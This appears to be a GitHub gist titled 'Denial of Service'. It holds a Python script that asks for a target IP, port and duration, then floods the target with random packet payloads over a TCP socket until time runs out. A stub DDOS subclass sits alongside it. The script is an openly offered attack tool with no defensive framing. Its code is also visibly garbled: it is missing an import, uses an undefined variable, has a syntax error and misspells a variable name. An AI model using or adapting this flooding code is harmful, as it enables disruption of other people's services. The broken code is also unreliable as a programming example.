Skip to content

Instantly share code, notes, and snippets.

@samsonq
Last active January 30, 2021 07:19
Show Gist options
  • Save samsonq/1a6e62a6dcc347a2518f817b392d1163 to your computer and use it in GitHub Desktop.
Save samsonq/1a6e62a6dcc347a2518f817b392d1163 to your computer and use it in GitHub Desktop.
Denial of Service
from DOS import DOS
import requests
class DDOS(DOS):
def __init__(self):
import sys
import os
import socket
import time
from requests import get
class DOS:
def __init__(self, IP, port=80, duration=500):
if "https://" in IP:
IP = IP.replace("https://", "")
elif "http://" in IP:
IP = IP.replace("http://", "")
self.IP = socket.gethostbyname(IP)
self.port = int(port)
self.timeout = time.time() + 1*duration
def __repr__(self):
return "Denial-of-Service"
def __str__(self):
return "{}:{}".format(self.IP, self.port)
def attack(self):
time.sleep(2)
with open("log.txt", "w") as f:
f.write("{}:{}\n\n".format(self.IP, self.port))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
packet = random._urandom(1024)
while True:
if time.time() > self.timeout:
break
try:
s.connect((self.IP, self.port))
s.settimeout(1)
s.sendto(packet*random.randint(5, 15), (self.IP, self.port))
sys.stdout.write(f"\rSend Packet {_}".)
sys.stdout.flush()
except Exception as e:
print("ERROR", e)
sys.exit()
s.close()
return
if __name__ == "__main__":
try:
r = get("https://google.com", timeout=5)
print("Connection Established")
except:
print("Connection Failed")
sys.exit()
os.system("cls")
IP = input("IP address: ")
port = input("Port: ")
duration = input("Duration: ")
dos = DOS(IP, port, duratiton)
dos.attack()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment